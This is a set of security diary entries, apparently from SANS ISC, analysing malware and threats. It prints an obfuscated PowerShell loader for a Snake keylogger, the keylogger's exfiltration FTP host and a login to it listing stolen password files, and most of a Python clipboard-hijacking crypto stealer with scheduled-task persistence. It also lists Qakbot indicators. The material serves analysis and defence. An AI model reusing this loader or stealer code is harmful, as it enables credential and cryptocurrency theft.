 4:    3560 QWRkLVR5cGUgLXR5 Add-Type -typede 0a9525d9ff1e87418c0b5c496546f889
 5:       4 byte             o+^              50d0380b0362cc343a78fa4231fffe0f
 6:       4 nona             ...              8a773bb6add7d540b7c92c1ec8b22870
 7:       4 Text             M.m              3d0b353fa22a0001c9a7fda13f7c638e
 8:       8 Encoding         .w(v).           02b746b5b6358014a5294544d71a4dd7
 9:      16 FromBase64String ..&.......).     4cfff9a87d891e1961d358c98991e469
10:   53872 W2J5dGVbXV0gJFNU [byte[]] $STRDYF adddffbf83acb22aaeccc45b897e99c3

The most interesting stream IDs look to be 4 and 10. Stream ID 4 contains the code to deobfuscate the second one. Let's check ID 10:

[byte[]] $STRDYFUGIHUYTYRTESRDYUGIRI =@(31,139,8,0,0,0,0,0,4,0,237,125,9,96,91,213,177,232,185,87,210,213,98,89,182,188,39,177,19,101,33,113,156,196,
... Stuff deleted ...
,169,182,152,105,157,58,250,129,8,15,178,241,99,153,24,104,242,117,245,190,185,254,7,175,109,194,239,216,213,150,255,179,21,249,230,250,103,92,255,7,238,182,245,33,0,108,0,0)

[byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
[byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI

$FGCHJBKHVGCFHJVBKNBHVGJB = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG -TypeName 'System.Collections.ArrayList';
$FGCHJBKHVGCFHJVBKNBHVGJB.Add("W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSRFNGR1RGSFlHVUpIS0dZRlREUlNSRFRGWUdKVUhLRERSVEZZRykuR2V0VHlwZSgncHJvakZVRC5QQScpLkdldE1ldGhvZCgnRXhlY3V0ZScpLkludm9rZSgkbnVsbCxbb2JqZWN0W11dICggJ0M6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxhc3BuZXRfcmVnYnJvd3NlcnMuZXhlJywkUlNFVERZVUdVSURSU1RSRFlVR0lIT1lSVFNFVFJUWURVR0lPSCkp")

$FGCHJBKHVGCFHJVBKNBHVGJBA = COMBINEMEANINGSCOBOLTPOTASSIUM($FGCHJBKHVGCFHJVBKNBHVGJB)

$RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($FGCHJBKHVGCFHJVBKNBHVGJBA);try{$n=0;while($n -lt 3){&(GCM I*e-E*)($Run=($RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU -Join ''));$n++}}catch{}
[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').GetMethod('Execute').Invoke($null,[object[]] ( 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe',$RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH))

The scripts dumps and executes a PE file (SHA256:039c261036b80fd500607279933c43c4f1c78fdba1b54a9edbc8217df49ec154) that is not present on VT at this time. I uploaded it on Malware Bazaar[4].

The first analysis reports it as a Snake keylogger:

{ 
  "family": "snakekeylogger", 
  "rule": "SnakeKeylogger", 
  "credentials": [ 
    { 
       "protocol": "ftp", 
       "host": "ftp://103[.]147[.]185[.]85/", 
       "port": 21, 
       "username": "bvhfgas7", 
       "password": "xxxxxxxx" 
    } 
  ] 
}

The malware seems active based on the collected data that I found:

remnux@remnux:/MalwareZoo/20220425$ ftp 103[.]147[.]185[.]85
Connected to 103[.]147[.]185[.]85.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (103[.]147[.]185[.]85:root): bvhfgas7
331 Password required for bvhfgas7
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||65003|)
150 Connection accepted
-rw-r--r-- 1 ftp ftp            316 Apr 05 02:06 AMAZING-AVOCADO - Passwords ID - ZyiAEnXWZP1101827263.txt
-rw-r--r-- 1 ftp ftp            316 Apr 05 02:06 AMAZING-AVOCADO - Passwords ID - ZyiAEnXWZP1872355191.txt
-rw-r--r-- 1 ftp ftp            293 Apr 24 22:06 AUVQQRRF - Passwords ID - ZyiAEnXWZP532723221.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP1110184397.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP1883154258.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:52 CPJISPWT - Passwords ID - ZyiAEnXWZP2014006797.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP2067984079.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP384268998.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP506198539.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP573982685.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:52 CPJISPWT - Passwords ID - ZyiAEnXWZP637051078.txt
-rw-r--r-- 1 ftp ftp            292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP878300114.txt
-rw-r--r-- 1 ftp ftp            301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1360583859.txt
-rw-r--r-- 1 ftp ftp            301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1592468142.txt
-rw-r--r-- 1 ftp ftp            301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1711955750.txt
-rw-r--r-- 1 ftp ftp            301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1868796841.txt
-rw-r--r-- 1 ftp ftp            300 Apr 04 23:18 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP609212224.txt
-rw-r--r-- 1 ftp ftp            293 Apr 24 22:06 JVJHUWZP - Passwords ID - ZyiAEnXWZP1117034868.txt
-rw-r--r-- 1 ftp ftp             38 Mar 29 20:43 Snake Keylogger - YrTVKTaWocPKgCyA - 222139415.txt
-rw-r--r-- 1 ftp ftp            293 Apr 24 22:11 WIN7X64 - Passwords ID - ZyiAEnXWZP1161416015.txt
226 Transfer OK

[1] https://isc.sans.edu/forums/diary/Analyzing+a+Phishing+Word+Document/28562/
[2] https://www.virustotal.com/gui/file/f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01
[3] https://www.virustotal.com/gui/file/2198abfdf736586893afe8e15153369299d3164e036920ff19c83043ba4ce54b
[4] https://bazaar.abuse.ch/sample/039c261036b80fd500607279933c43c4f1c78fdba1b54a9edbc8217df49ec154/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Reader Bob submitted a malicious Word document.

According to the filename (Payments & Receipt.docx), it's a .docx file: an OOXML file without VBA macros.

Nevertheless, I often take a first look at Office maldocs with my tool oledump.py. Because the file might still contain OLE files (for embedded files, for example) and because oledump.py will also tell me if it is indeed an OPC file (OOXML is based on OPC).

So no OLE file was found inside, and it is indeed an OPC file.

Next I take a look with zipdump.py:

Besides the 2 PNG files, it looks like there are only XML files inside. And the timestamps are all 1980-01-01, exactly what it should be for an OOXML file created with Office. It contains a word/document.xml file, so it's very likely a .DOCX file.

Next, when I see no embedded VBA macros or unusual files in an OOXML Word document, I look for unusual URLs.

The XML files inside OOXMl files contain a lot of URLs (referencing standards), so it's best to filter these expected URLs out. I dump the content of all files inside the OOXML to stdout (zipdump.py -D) and pipe this into re-search.py, my tool to look for particular patterns using regular expressions. Option -n url selects a regular expression for URLs, option -u removes duplicates, and option -F officeurls removes all URLs with domains that are common in XML standard references.

And there is one unusual URL.

Notice that re-search searches inside text files. It can search into binary files too, but then you need to use option -e so that it can extract strings

If you want to know in which file this URL is stored, you can run an ad-hoc yara search for a distinctive part of the URL:

It's in the relationships file:

And it is a hyperlink. So this is a phishing document. We can look at the text in the Word document like this with xmldump.py:

And here is the document itself:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

I have noticed in the past several weeks random scans specifically for Roku streaming devices (and likely other types) captured by my honeypot. If they can be compromised, what can be gain? Settings like stored payment information, personal information (email/password), subscription, App selected, etc. Like any other devices, it is important to keep the OS and Apps up-to-date. 

Traffic Activity

20220421-180039: 192.168.25.9:81-159.65.4.198:56874 data
GET /stream/live.php HTTP
Host: 184.146.XX.XX:81
User-Agent: Roku/DVP-9.10 (289.10E04111A)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

20220421-180046: 192.168.25.9:8088-159.65.4.198:52264 data
GET /flu/403.html HTTP/1.1
Host: 184.146.XX.XX:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Indicators

159.65.4.198
159.65.144.167
188.166.54.150

Get Requests

It is a good idea to regularly review the information stored in setting and make sure the Roku device is up-to-date.

[1] https://www.shodan.io/search?query=Server%3A+Roku+
[2] https://isc.sans.edu/forums/diary/Who+Is+Hunting+For+Your+IPTV+SetTop+Box/27912/
[3] https://support.roku.com/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Last week, I was in Amsterdam to attend the FIRST TC 2022 where I talked about Python used for malicious purposes in the Windows ecosystem[1]. Amongst multiple examples, I mentioned a sample of Python code that tries to steal cryptocurrencies. It’s not the first time that I found a piece of code that monitors the clipboard and swap the BTC address found with the attacker's one. This time, the script that I found supports a lot of cryptocurrencies!

The file has a very low VT score (3/57)[2] (SHA256: 90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c).

First finding, the script implements persistence via the creation of a scheduled task:

def create_schtask(dir, file):
    try:
        call(f'schtasks /create /sc MINUTE /mo 1 /tn "System" /k /F /tr "{dir}\\{file}"', shell=True)
    except:
        pass

Python scripts on Windows can interact with the GUI (though the win32gui library). The script hides its window:

frgrnd_wndw = win32gui.GetForegroundWindow();
wndw_title  = win32gui.GetWindowText(frgrnd_wndw);
if wndw_title.endswith("host.exe"):
    win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE);

Now, let’s focus on the core feature, the interaction with the clipboard:

while True:
    network = Network()
    try:
        OpenClipboard()
        data: str = str(GetClipboardData())
        CloseClipboard()
    except:
        data = ''

    detected_network = get_detect_network(data)
    if detected_network == None:
        pass
    else:
        new_address = network.get_random_address(detected_network)
        if data in network.addresses[detected_network]:
            pass
        else:
            OpenClipboard()
            EmptyClipboard()
            SetClipboardText(new_address)
            CloseClipboard()
    sleep(0.33)

The clipboard content is read (into the variable “data”). This variable passed to get_detect_network() to verify the presence of a cryptocurrency address:

def get_detect_network(data: str) -> str or None:
    if (data.startswith('1') or data.startswith('bc1')):
        detected_network = 'bitcoin'
    elif data.startswith('0x'):
        detected_network = 'erc20_and_bep20'
    elif len(data) == 44:
        detected_network = 'solana'
    elif (len(data) == 34) and (data.startswith('T')):
        detected_network = 'tron'
    elif data.startswith('bnb1'):
        detected_network = 'bep2'
    elif len(data) == 43 and data.startswith('ltc1') or \
         len(data) == 34 and (data.startswith('M') or data.startswith('L')):
        detected_network = 'litecoin'
    elif data.startswith('r'):
        detected_network = 'xrp'
    elif data.startswith('q'):
        detected_network = 'bitcoin_cash'
    elif len(data) >= 64:
        detected_network = 'near'
    elif data.startswith('X'):
        detected_network = 'dash'
    elif data.startswith('t'):
        detected_network = 'zcash'
    elif data.startswith('D'):
        detected_network = 'dogecoin'
    elif data.startswith('terra'):
        detected_network = 'terra'
    elif data.startswith('cosmos'):
        detected_network = 'cosmos'
    else:
        detected_network = None
    return detected_network

As you can see, many currencies are supported but the detection mechanism does not look very powerful and is prone to many false positives! The script looks like a proof-of-concept for me...

The script had many addresses hardcoded, with multiple values per network:

addresses = {
    'bitcoin': ['bc1q4skmuprct25drfzrujdev3g2y5a4zsqs0fvvm2', 
                'bc1qcv3h42gc032q5elgs8cynenqh57mymck4fncnk', 
                'bc1qhagmzt4a0lwdwjltmu2ur0v42veeks29j77hm4'],
    'solana': ['AZEBYz4bki8CJ9ANj5y8Hnmzvzpdi9Kfg3a27GZyQ9Fx', 
               'HFBTid2mkUoMnbYWfF2ceQCnbBvM62VRUQsXDk8DcLGp', 
               '8NfYSJHVjpv3XDSAWNLbMknjGQw5X3JsECPE7B6kzBnu'],
    'tron': ['TBVwvr6gqxJNwp91FVcsVJyaePCGY6mDMG', 
             'TKcHEi5dfkAZ7L6zfGreMSmb2MKYyAuDTu', 
             'TDXdHSfUHevtzVdWB7K6uhoSY7ynxX38jw'],
    'erc20_and_bep20': ['0xEBBc57A99ba16b52d69e11e6E07052ABA3Ff90a0', 
                        '0x0E0D59F69D136F05B1065a7d0f11616bD1e47CE9', 
                        '0x534F85b57001aa69A1cFC8831A5EdCd3F485d704'],
    'bep2': ['bnb1ydfyhhsyksz4quvltds8qsdxdqfkpwjyd9a23w', 
             'bnb1mfcxcgxgla2qmsfrwsg5jtdmf8r4ytjm6y5ty0', 
             'bnb1cqqggjtwmnqlx0txnvywuugw6trwcs7y90hlpz'],
    'litecoin': ['ltc1qh0clxt5t3ydmdpteyc83s77p8yv4d6f245uc57', 
                 'ltc1q8rp6c0v577uwfkxv7trmja5zw9rtgsaljxxwwd', 
                 'ltc1q6udncrt9shyllpr2m23878gpyarvp35ap23sp6'],
    'xrp': ['rDhqftgvEaGVYvCeGE6DNipja9DHZpKz1', 
            'r4jogJ97bYAABoGosPTjzUUP2rAGcA4sKQ', 
            'rhYeMmXJacRdHSHLRKgQ5vq6NEoaz381vH'],
    'bitcoin_cash': ['qqzc2wqrxfj4vn8cpuqzvefl3lrfhw9yqs9lndnpku', 
                     'qrsyq9k28yq2py3slez8gjr322zlv4vhqv2g6emnq9', 
                     'qrwpfk2vamxs2qwasv4n56pjvcc78zernypzyahf4u'],
    'near': ['04fbb5a231c9791f4868da4973f2f1ed0f358a4c99727534a961a0a80581a055',
             'a69ef150c95822112e30a792c10a51e01606e32f65fd8fb083d49ff7afc9c4d9',
             '43cd191cd0f3c8ffbb070a60aa3937c5f7218b09108951c0a24ae94ae9a7665d'],
    'dash': ['XwxkG8sQhqK7idZyrPp5zu5wdTii9vF9vT', 
             'XfQaYpipiLRDEn1Gy4YAvHQ7Gm1EBNhiZw', 
             'XjPpu9WZs9F1EfyYsZDLPyhX9g2BacTfeh'],
    'zcash': ['t1PuPdnnJmzqgctQVcdqkmqPCaR5Gsccegk', 
              't1gJ8Zc5rWiW7gGbFP7KVEGDZFyrT7JP9u7', 
              't1N9RNGiKj2TCWgip5uXLWefY1kKLLgimaR'],
    'dogecoin': ['D93zyaMn37Eq9RvUeaN8tKaUC1ocLNvncn', 
                 'DThAv5fRB3t3foES6jLLZrqdoQkDc6vuZJ', 
                 'DHbrcfpN3v6RZQ4wCTrPoxnMNQj1CG9k51'],
    'terra': ['terra1sgn3gkdesfx57sq04dpngh4yvncahdxk6ljz02', 
              'terra1psvawthe0g0495gfmk046rdswvat5pnr264l02', 
              'terra1jwtkp94w3tt46hxcdfhgjm9awk58qhkehsnqg6'],
    'cosmos': ['cosmos1pf05klhcy9e540t6y9as25qxn85l2azzkw7mcg', 
               'cosmos1ggapvcwtcfx6082a0th2adc8umc0h8zf3kz22n', 
               'cosmos1j4d2gppgyf7sutwyzkm6tjy679lc7aaxakp2c9'],
}

Be careful when copying/pasting cryptocurrency addresses (or any sensitive data). By default, many desktop virtualization solutions enable clipboard sharing by default and are able to access the host clipboard.

[1] https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/
[2] https://www.virustotal.com/gui/file/90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Chain of Events

Email --> link --> downloaded zip archive --> extracted Excel file --> enable macros --> HTTPS traffic for Qakbot DLL files --> Qakbot C2 activity --> DarkVNC traffic

Images

Shown above:  Link from an email distributing Qakbot ("aa" distribution tag) in a web browser.

Shown above:  Downloaded zip archive and extracted spreadsheet.

Shown above:  Qakbot DLL files saved to an infected Windows host.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  TCP streams for DarkVNC traffic on 45.153.241[.]142 over TCP port 443.

Shown above:  Qakbot traffic on 23.111.114[.]52 over TCP port 65400.

Indicators of Compromise (IOCs)

Malware from an infected Windows host:

SHA256 hash: 685aa1d29540f5b63effec08fdf63f8bc7e995d1f15635cc1fd251bb7fb0dc73

• File size: 1,093,506 bytes
• File name: cocithoueqrta.zip
• File location: hxxps://conta2000[.]cl/po/cocithoueqrta
• File location: hxxps://conta2000[.]cl/po/A3105126785.zip
• File description: zip archive downloaded from link in email

SHA256 hash: 236b9d345a9b405c4850f880e1734712967d7cc34b176c270e78dd6f02f9839d

• File size: 1,215,731 bytes
• File name: J-233015633.xlsb
• File description: Excel file with macro for Qakbot

SHA256 hash: 74400f2acc98e59ddeba6d55da3ee0ea0c909eefdefeca4f1d3bf817a27b692b

• File size: 1,385,866 bytes
• File location: hxxps://debtsolversuk[.]co[.]uk/HLpeQJZi/NbVfNbhn.png
• File location: C:\Rfgsg\Jefseg.ooccxx
• File description: Initial Qakbot DLL
• Run method: regsvr32.exe [filename]

SHA256 hash: 29942eb47c0de0415b2507dff8822e3309dd4fcc2ac8d01434b37eb4f75efbe1

• File size: 1,385,893 bytes
• File location: hxxps://pablopereirasilvaluis[.]com[.]br/OHTvXEr9c/NbVfNbhn.png
• File location: C:\Rfgsg\Jefsega.ooccxx
• Run method: regsvr32.exe [filename]

SHA256 hash: 59fb3927427c68dee4c2f267f3ed4eea82dc07058061e06b3cd9b18d1a84b77f

• File size: 1,385,920 bytes
• File location: hxxps://portalregionpuno[.]com/088aFy0Xc8ap/NbVfNbhn.png
• File location: C:\Rfgsg\Jefsegb.ooccxx
• Run method: regsvr32.exe [filename]

Traffic for zip archive:

• hxxps://conta2000[.]cl/po/cocithoueqrta
• hxxps://conta2000[.]cl/po/A3105126785.zip

Traffic for Qakbot DLL files:

• hxxps://debtsolversuk[.]co[.]uk/HLpeQJZi/NbVfNbhn.png
• hxxps://pablopereirasilvaluis[.]com[.]br/OHTvXEr9c/NbVfNbhn.png
• hxxps://portalregionpuno[.]com/088aFy0Xc8ap/NbVfNbhn.png

Qakbot post-infection traffic:

• 189.146.73[.]62 port 443 - HTTPS traffic
• 75.99.168[.]194 port 443 - HTTPS traffic
• 37.252.0[.]102 port 443 - HTTPS traffic
• port 443 - www.openssl[.]org - HTTPS traffic (connectivity check, not inherently malicious)
• 23.111.114[.]52 port 65400 - TCP traffic

Dark VNC traffic:

• 45.153.241[.]142 port 443 - TCP traffic with encoded data.

Certificate issuer data for Qakbot HTTPS traffic:

Certificate issuer data for HTTPS traffic to 189.146.73[.]62:

• id-at-countryName=AU
• id-at-stateOrProvinceName=DA
• id-at-localityName=Ieiaegim
• id-at-organizationName=Vuropti Mika Aguaugaf Inc.
• id-at-commonName=qchzpkuwhuh.org

Certificate issuer data for HTTPS traffic to 75.99.168[.]194:

• id-at-countryName=AU
• id-at-stateOrProvinceName=WD
• id-at-localityName=Ntp
• id-at-organizationName=Venyec Giteg Xgsw Inc.
• id-at-commonName=onuwbkiz.us

Certificate issuer data for HTTPS traffic to 37.252.0[.]102:

• id-at-countryName=US
• id-at-stateOrProvinceName=CA
• id-at-localityName=Los Angeles
• id-at-organizationName=vipsauna[.]com
• id-at-commonName=vipsauna[.]com

Final words

A packet capture (pcap) of the infection traffic and the associated malware samples are available here.  The pcap is from an Active Directory (AD) environment.  The pcap been sanitized to disguise usernames, hostnames, domains, internal IP addresses, the public IP address used to connect from my test lab to the Internet, and any other information that could identify the environment.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Recently, I went shopping on eBay again. While I do not recommend using used equipment from eBay for production, surplus equipment can be a great opportunity to supplement a home lab. This time, I picked up a Netoptics Director including inline modules for about $100. Overall a pretty nice deal. Of course, equipment like this usually comes with no warranty, and vendor support can be spotty in particular as Netoptics now only exists as a part of IXIA and IXIA has been purchased by Keysight. I am not sure how long ago the Director line of equipment went "EOL" and was only able to find manuals on 3rd party websites. But making equipment like that work is part of the fun.

The device arrived and looked in reasonable condition and booted up. I was even able to get the serial console working on the first try (this unit had a DB9 serial connector which takes the guesswork out of which RJ45 adapter I need to use).

But... the default username password did not work (admin/netoptics). I also wasn't able to connect with ssh even though it looked like the unit using the default IP address (but maybe some filter was set up?). So my goal was to reset the password.

There are two passwords in play:

- The Linux user password. There are two users: root and "customer".
- The Netoptics password. After boot, the system started the custom software, and it maintains its own username/password combination. This is the password I needed to figure out at this point.

Most modern Linux systems use the grub boot loader. With grub, you are able to change kernel parameters during boot pretty easily. This system, like many similar "embedded" Linux systems, used u-boot, a different bootloader that works a bit "odd" (at least to me as a grub user).

You start the system and press any key early in the boot process. You are not presented with a u-boot prompt. Most guides suggest setting the "bootargs" variable at this point [1]. But this didn't work.

A bit about how u-boot works:

In u-boot, you set environment variables to commands, and then you execute the environment variable (at least that is my best understanding of the process). But this device did overwrite the "bootargs" variable as part of the bootup process.

A few different environment variables (= commands) are defined for different boot processes. They look all like:

cfcfboot=run setcfargs;ext2load ide 0:1 $loadkernaddr uImage;bootm $loadkernaddr

(there are different boot mechanisms. I am using the "cfcfboot" as a sample)

You now need to hunt the different variables references. Most importantly "setcfargs"

setcfargs=setenv bootargs root=/dev/$cfdrive rw ip=$ipaddr:$serverip:$gatewayip:$netmask:$hostname:$netdev:
off console=$consoledev,$baudrate $othbootargs

Note how it overwrites bootargs (setenv bootargs). But it offers a path to append your own parameters with "$othbootargs". So in the end, the solution was:

setenv othbootargs single init=/bin/sh
bootd

This got me into a single-user shell and allowed me to use the Unix "passwd" command to set the Linux user password for "root" and "customer". But I also needed to adjust the password for the Netopitcs application user. After a bit of hunting, I found this file:

/home/users/customer/cur_image/userHeader.xml

A simple XML file with clear text usernames and passwords (I redacted passwords and the one username that looked like the last name of one user, and was pretty unique)

<users>
  <user><name>admin</name><passwd>REDACTED</passwd><privilege>1</privilege></user>
  <user><name>operator</name><passwd>REDACTED</passwd><privilege>2</privilege></user>
  <user><name>anonymous</name><passwd>REDACTED</passwd><privilege>3</privilege></user>
  <user><name>REDACTED</name><passwd>REDACTED</passwd><privilege>1</privilege></user>
  <user><name>*admin</name><passwd>REDACTED</passwd><privilege>1</privilege></user>
</users>

So edit the file with vi, and I was ready to go.

Side note: PLEASE RESET EQUIPMENT BEFORE YOU SELL IT!!!

The system logs left on the device went back to 2008! The FTP daemon logs logged passwords in clear text as well (no surprise given that they were from 2008/2009). Aside from the fairly unique username, I didn't find any good indicator as to the organization the device came from, but not really sure I want to know. Just deleted the logs and well, got a decent tap for my home network now after I had a fan in my old Gigamon meet an untimely and very noisy death. The Netoptics device isn't quite as feature-rich, but works well for the home lab and may actually be a bit better (as it is simpler). 

A simple "reset to factory default" option should be mandatory. For Netoptics, I do see a "factory default" reset, but it will just reset the configuration, not remove any logs or saved configuration files. U-Boot has an EEPROM erase, but it will brick the device as far as I can tell. Boot loaders can be protected with passwords, but they would not protect unencrypted data on internal disks that can be removed and mounted on external devices.

[1] http://nerveware.org/u-boot-cheat-sheet/1.html

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

A colleague asked me about Sysmon's event ID 13 RegistryEvent (Value Set). They wanted to know if binary data could be recorded in event 13.

Sysmon can record changes to the registry by configuring setting RegistryEvent. This is an example of a simple config to record all registry changes (don't use this in production):

    <Sysmon schemaversion="4.30">
      <EventFiltering>
        <RegistryEvent onmatch="exclude">
        </RegistryEvent>
      </EventFiltering>
    </Sysmon>

 

Changes to a registry value are then recorded with event ID 13.

My colleague wanted to know if it is possible to record the actual changes to binary data. When you look at such an event, you just see "Binary Data", and not the actual data itself.

If you look at the documentation, you would think it's only DWORD and QWORD data that are recorded:

So I did some tests and decompiled Sysmon's driver Sysmondrv.sys (version 13.33).

Here are the results of my research:

For the different registry value types, you can see in column Event Details what is actually recorded in the event log. Italic text depends on the value, non-italic text is literal.

 

ActualStringValue* means that the actual string value is recorded, except when the string is empty.

So if a string value is "ISC" for example, then the event details will be: "ISC".

If the string is empty, then the event details will be: "(Empty)".

 

DWORD and QWORD values are recorded in hexadecimal.

 

Binary data is not recorded, the details are always: "Binary Data". Remark that a multi-string is also considered as binary data.

 

Here are some screenshots of the decompiled code:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

I made a video for yesterday's diary entry "Office Protects You From Malicious ISO Files".

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

A couple of weeks ago, Johannes gave me a malicious ISO file he had received: an ISO file containing a PE file.

And that made me wonder: "has Microsoft changed the behavior of Windows or Office when it handles untrusted ISO files?"

Years ago, at the ISC, we started to see malicious ISO files. Since Windows 10 (and later) supports mounting of ISO files, and that the "mark-of-web" is often not propagated to the contained files, it is a way to bypass Protected View in Office.

For example: create a maldoc (Word with VBA), put it inside an ISO file, and email the ISO file to your targets. The victims open the email & attachment: the attached ISO is saved to disk and marked as untrusted (coming from the Internet) and then opened. Then the victims open the contained Word document: it is not opened in Protected View, the yellow SECURITY WARNING banner appears immediately.

This behavior has changed now. If you are using Office 2021, or Office 2019 that you have updated since August 2021, then the document is now opened in ProtectedView:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

[If your main concern is that you do not have time to apply the April update, stop wasting more time reading this (or anything else about CVE-2022-26809) and start patching]

The stand-out vulnerability for this month's Microsoft Patch Tuesday was CVE-2022-26809 [msft]. An integer overflow in MSRPC that, if exploited, allows for arbitrary code execution over the network without requiring authentication or user interaction. There is no doubt that the vulnerability is critical, and the patch must be applied quickly. But how big of an issue is it? How soon should we expect an exploit? And what other mitigation techniques may be helpful? Let me summarize what we know so far:

1 -  What is RPC

For the most popular network services (SMTP, DNS, HTTP...), we use specifically assigned ports managed by IANA [iana]. But there are many less common services specific to certain operating systems that do not have ports assigned by IANA. For these services, the "Remote Procedure Call" (RPC) mechanism may be used to standardize communication. Both Windows and Unix implement their own version of this basic idea. In Unix, it is typically called "SUN RPC" (RFC 1057). In Windows, we do have MSRPC.

MSRPC allows for messages to be transmitted in several different ways:

• SMB (Port 445 TCP, or port 139) is probably the most common mechanism. The commands over SMB are sent as named pipe writes that are then passed to the respective service.
• Via TCP (Port 135 TCP and high port): This mechanism is similar to SUN RPC. The client will first connect to an endpoint mapper (Port 135 for MSRPC, Port 111 for SUN RPC). The endpoint mapper will return the port number the service uses. You will see a second TCP connection to the high port transmitting the RPC message.
• via HTTP (default port 593). This is in particular useful if RPC is exposed over the internet. TLS can be used for encryption, and HTTP may provide additional authentication options. Port 80/443 may be used as well.

The number of hosts exposed on the different ports (based on Shodan.io):

Port	Hosts Total	Hosts os:Windows
135	2,180,386	-
139	201,145	-
445	1,363,008	726,615
593	12,594	-

Note that Shodan does not show any Windows hosts listening on ports other than 445. Also, Shodan is usually underestimating the number of exposed hosts. There is a simple Nmap script to enumerate RPC services that may help identify exposed systems:

nmap <target> --script=msrpc-enum [nmap]

2 - The Vulnerability

Several researchers have been using the patch to find the vulnerability. Akamai published a blog with some details, showing how the patch fixes an integer overflow condition [akamia]. This, in turn, leads to a heap buffer overflow. But nobody has made public means to trigger the vulnerability.

The vulnerability was reported to Microsoft by CyberKunLun [kunlun]. CyberKunLun is affiliated with Team Pangu, one of China's leading security research groups and a discoverer of many past vulnerabilities. CyberKunLun reported several different vulnerabilities (30?) fixed by Microsoft in April. CyberKunLun maintains a page with short write-ups and PoC code for vulnerabilities they discovered in the past. Nothing has been added yet about CVE-2022-26809.

3 - Impact and Mitigation

If you made it this far, you probably already subscribed to the idea of closing ports 135/139/445 on your firewall. In general, you should only allow ports open that are in use vs. blocking specific "dangerous" ports (expectations are ISPs and likely some Universities). But blocking SMB traffic internally is more tricky. Recent SMB exploits (e.g., remember WannaCry taking advantage of the EternalBlue vulnerability) showed how effective these exploits could be moving lateral inside networks. Microsoft's guidance to secure SMB traffic (linked to by its security advisory) also focuses heavily on firewall rules. 

Patching is your only REAL fix for this vulnerability. Don't delay it. Patch now and apply the entire April update. It fixes several other critical flaws that may have a similar impact inside your network (e.g., the NFS flaw). You can't "turn off" RPC on Windows if you are wonderings. It will break stuff. RPC does more than SMB. For example, you can't move icons on the desktop if you disable RPC (according to a Microsoft help page).

4 - Detection

Do not expect too much from IDS/IPS rules. Too little is known to create a good IDS rule, and RPC vulnerabilities are notoriously hard to detect on the network. Host-based detection techniques may be more successful—dust off your WannaCry playbook. While WannaCry was an SMB exploit, not an RPC exploit, the behavior will likely be similar.

5 - Final Words

Don't Panic - Patch. I do not see any working exploits (April 14th, 9 am EST). I see some Rick Rolling, and you will likely see fake exploits soon. I have no idea when we will see a working exploit, but I hope we will have until next week.

[msft] https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26809
